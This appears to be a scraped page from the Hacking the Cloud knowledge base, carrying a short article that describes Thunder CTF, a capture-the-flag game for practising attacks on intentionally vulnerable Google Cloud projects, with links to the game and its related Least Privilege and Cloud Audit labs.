class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4 checked> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Thunder CTF </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Thunder CTF </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#links class=md-nav__link> <span class=md-ellipsis> Links: </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#links class=md-nav__link> <span class=md-ellipsis> Links: </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Aloïs THÉVENOT</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/capture_the_flag/thunder_ctf.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Thunder CTF</h1> <blockquote> <p>Thunder CTF allows players to practice attacking vulnerable cloud projects on Google Cloud Platform (GCP). In each level, players are tasked with exploiting a cloud deployment to find a "secret" integer stored within it. Key to the CTF is a progressive set of hints that can be used by players when they are stuck so that levels can be solved by players of all levels from novices to experts.</p> </blockquote> <p>The CTF is available at https://thunder-ctf.cloud/.</p> <p>The GitHub repository for the Thunder CTF also includes:</p> <ul> <li><a href=https://thunder-ctf.cloud/leastprivilege/ >Least Privileges</a></li> <li><a href=https://asokamoto.github.io/CloudAuditCTFs/ >Cloud Audit</a></li> </ul> <p>Least Privilege CTF (slides) is an extension of Thunder CTF. Least Privilege levels have been desgined to help understand Google Cloud Platform's IAM roles and permissions.</p> <p>Cloud Audit is a series of code labs that will walk you through a few basic and a few more advanced cloud security concepts from a defender point of view.</p> <h2 id=links>Links:<a class=headerlink href=#links title="Permanent link">&para;</a></h2> <ul> <li><a href=https://thunder-ctf.cloud/ >Website</a></li> <li><a href=https://github.com/NicholasSpringer/thunder-ctf>GitHub</a></li> </ul> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 2, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">August 23, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#links class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> 